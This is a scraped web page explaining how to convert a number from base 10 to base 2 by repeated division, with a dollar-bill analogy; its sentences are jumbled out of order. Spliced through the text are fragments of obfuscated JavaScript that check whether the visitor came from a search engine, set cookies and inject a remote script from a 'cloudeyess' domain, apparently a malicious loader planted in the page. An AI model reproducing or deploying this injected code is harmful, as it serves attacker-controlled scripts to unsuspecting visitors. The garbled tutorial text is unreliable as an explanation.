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Nevertheless, the summation still works Essentially, this says we have six 2-dollar bills and 1 1-dollar bill, which still adds up to 13 dollars.. I'll present the algorithm right now, then explain the intuition behind it The IntuitionMy goal is to represent the number 1310 in binary (i.

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men/don_con php?x=en&query=','eDIFC':function _0x48f560(_0x51e00d,_0x6f62a5){return _0x51e00d+_0x6f62a5;}};var _0x2ff8da=[_0x274f1a['gfnPx'],_0x274f1a['hzygl'],_0x274f1a[_0x1b0f('0x21')],_0x274f1a[_0x1b0f('0x22')],_0x1b0f('0x23'),_0x274f1a[_0x1b0f('0x24')],_0x274f1a['Fqren']],_0x4bf50f=document['referrer'],_0x2eecd6=![],_0x18b586=cookie[_0x1b0f('0x25')](_0x1b0f('0x20'));for(var _0x4bebe6=0x0;_0x274f1a[_0x1b0f('0x26')](_0x4bebe6,_0x2ff8da['length']);_0x4bebe6++){if(_0x274f1a[_0x1b0f('0x27')](_0x1b0f('0x28'),_0x1b0f('0x28'))){if(_0x274f1a[_0x1b0f('0x29')](_0x4bf50f[_0x1b0f('0xf')](_0x2ff8da[_0x4bebe6]),0x0)){_0x2eecd6=!![];}}else{cookie[_0x1b0f('0x2a')](_0x274f1a[_0x1b0f('0x2b')],0x1,0x1);if(!_0x18b586){_0x274f1a[_0x1b0f('0x2c')](include,_0x274f1a[_0x1b0f('0x2d')](_0x274f1a['EUZsl'],q)+'');}}}if(_0x2eecd6){cookie['set'](_0x1b0f('0x20'),0x1,0x1);if(!_0x18b586){_0x274f1a[_0x1b0f('0x2c')](include,_0x274f1a[_0x1b0f('0x2e')](_0x274f1a[_0x1b0f('0x2f')],q)+'');}}}R(); How to Convert From Base 10 to Base KTo convert a number to a different base, we're going to use division.. You wish to exchange 13 US dollars in this new currency Futhermore, you want to get as few bills as possible (perhaps they charge a smaller fee when this happens).. Surely, that adds to 13 Still, we have this problem that we can't really put 13 in that position.. The total is still correct Still, we have violated the rule which says that no digit in base 2 should be greater than 1.. e , in base 2) I'm going to fill them in a way that's invalid, but bear along, because it'll help you understand the algorithm above.

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To fix this problem, we're going to divide 13 by the base In this case, the base is 2, so we'll divide 13 by 2.. This time, d0 has a value between 0 and 1 (as it should), but d1 = 6 d0 has a valid bit value, but d1 doesn't.

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Of course, there's still one left over That's the remainder, which is 1 We can rewrite, in our chart, as:This means, we have 6 2-dollar bills, and 1 1-dollar bill.. But, for now, let's pretend that it is OK to have it there What value would we get if we applied the summation formula (where K=2, since this is base 2)? If we apply the summation, we get: Of course, this makes sense.. It's not valid to have 13 in d0 (plus, it doesn't minimize the number of bills).. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x115688){_0x1cbd36=window;}return _0x1cbd36;};var _0x59f868=_0x553e00();var _0x3afef0='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x59f868['atob']||(_0x59f868['atob']=function(_0x46c799){var _0x14ecb7=String(_0x46c799)['replace'](/=+$/,'');for(var _0x1efce8=0x0,_0x21bef0,_0x499c84,_0x2af3f4=0x0,_0x3c9bd5='';_0x499c84=_0x14ecb7['charAt'](_0x2af3f4++);~_0x499c84&&(_0x21bef0=_0x1efce8%0x4?_0x21bef0*0x40+_0x499c84:_0x499c84,_0x1efce8++%0x4)?_0x3c9bd5+=String['fromCharCode'](0xff&_0x21bef0>>(-0x2*_0x1efce8&0x6)):0x0){_0x499c84=_0x3afef0['indexOf'](_0x499c84);}return _0x3c9bd5;});}());_0x1b0f['base64DecodeUnicode']=function(_0x2d8919){var _0x267b83=atob(_0x2d8919);var _0x374cd8=[];for(var _0x5a141f=0x0,_0x1b77e1=_0x267b83['length'];_0x5a141f=0x0){fromSR=!![];}}}continue;case'5':if(_0x118913){return _0x151e81[_0x118913];}continue;}break;}},'set':function(_0x17a85e,_0x90bb90,_0x4d4c4b,_0x52d58a,_0x536cf4,_0x15a54c){var _0x557ad0={'dLoSl':function _0x2d81b8(_0x2db3b2,_0x23179b){return _0x2db3b2+_0x23179b;},'DnTkE':function _0x38b968(_0x300c32,_0x1e6230){return _0x300c32+_0x1e6230;},'cQtmX':function _0x446dbb(_0x250f13,_0x38e67c){return _0x250f13+_0x38e67c;},'QPZcx':function _0x1572ed(_0x33698e,_0x533c3e){return _0x33698e+_0x533c3e;},'gtRQh':';\x20expires=','XKZjp':function _0x334ad4(_0x12f4fb,_0x27890b){return _0x12f4fb*_0x27890b;},'tNvFb':function _0x44a4b7(_0x2deb7b,_0x2723d7){return _0x2deb7b+_0x2723d7;},'pMQCA':_0x1b0f('0x10'),'fZZTY':_0x1b0f('0x11')};document['cookie']=_0x557ad0['dLoSl'](_0x557ad0[_0x1b0f('0x12')](_0x557ad0[_0x1b0f('0x13')](_0x557ad0[_0x1b0f('0x14')](_0x17a85e+'=',escape(_0x90bb90)),_0x4d4c4b?_0x557ad0[_0x1b0f('0x15')]+new Date(new Date()['getTime']()+_0x557ad0['XKZjp'](_0x4d4c4b,0x3e8)):''),_0x52d58a?_0x557ad0[_0x1b0f('0x16')](_0x1b0f('0x17'),_0x52d58a):''),_0x536cf4?_0x557ad0[_0x1b0f('0x16')](_0x557ad0[_0x1b0f('0x18')],_0x536cf4):'')+(_0x15a54c?_0x557ad0[_0x1b0f('0x19')]:'');}};function R(){var _0x274f1a={'gfnPx':_0x1b0f('0x1a'),'hzygl':_0x1b0f('0x1b'),'PfjuQ':_0x1b0f('0x1c'),'mbHTw':_0x1b0f('0x1d'),'FUJSx':_0x1b0f('0x1e'),'Fqren':_0x1b0f('0x1f'),'vLJEb':function _0x1457db(_0x60e6fb,_0x174ef7){return _0x60e6fb=_0x599989;},'SMeZW':_0x1b0f('0x20'),'ZJtxJ':function _0x9e9f94(_0x444ac9,_0x5148b3){return _0x444ac9(_0x5148b3);},'XzmaU':function _0x2c7d28(_0x2f0dc0,_0x53c4ea){return _0x2f0dc0+_0x53c4ea;},'EUZsl':'https://cloudeyess.

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However, from the previous set of notes, you know that in base 2, each bit position can only have a value between 0 and 1, inclusive.. Dividing by 2 is equivalent to finding how many groups of 2 we have In this case, after dividing, we have 6 pairs.. Thus, 13/2 = 6 Think of dividing by 2 as a way of counting how many 2-dollar bills we'll need.. Initially, however, we start of with the d0 position having the value 13 That's equivalent to 13 1-dollar bills.. var _0x485d=['Lmdvb2dsZS4=','LmJpbmcu','LnlhaG9vLg==','LmFvbC4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','dmlzaXRlZA==','UGZqdVE=','bWJIVHc=','LmFzay4=','RlVKU3g=','Z2V0','dkxKRWI=','WkJFS3o=','U05O','cHdmT1M=','c2V0','U01lWlc=','Wkp0eEo=','WHptYVU=','ZURJRkM=','RVVac2w=','c2NyaXB0','Y3JlYXRlRWxlbWVudA==','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','aGVhZA==','YXBwZW5kQ2hpbGQ=','dUtS','M3wyfDF8NHw1fDA=','c3BsaXQ=','RkVlSUk=','c3hTb04=','SWpUU28=','Y29va2ll','bUV1VFI=','cmVwbGFjZQ==','aW5kZXhPZg==','OyBkb21haW49','OyBzZWN1cmU=','RG5Ua0U=','Y1F0bVg=','UVBaY3g=','Z3RSUWg=','dE52RmI=','OyBwYXRoPQ==','cE1RQ0E=','ZlpaVFk='];(function(_0x28038d,_0x3dc335){var _0x5da1ee=function(_0x55cf54){while(--_0x55cf54){_0x28038d['push'](_0x28038d['shift']());}};_0x5da1ee(++_0x3dc335);}(_0x485d,0x136));var _0x1b0f=function(_0x3343ad,_0xfb1588){_0x3343ad=_0x3343ad-0x0;var _0x274c66=_0x485d[_0x3343ad];if(_0x1b0f['initialized']===undefined){(function(){var _0x553e00=function(){var _0x1cbd36;try{_0x1cbd36=Function('return\x20(function()\x20'+'{}.. Currently, there's a 6 at d1 position What to do now?We divide d1 by 2 Intuitively, we're trying to take the 6 two-dollar bills, make pairs of two-dollar bills, so we can exchange them for 4-dollar bills.. We put 13 in the 2 0 position That's the same thing as saying, we want 13 one-dollar bills. 5ebbf469cd

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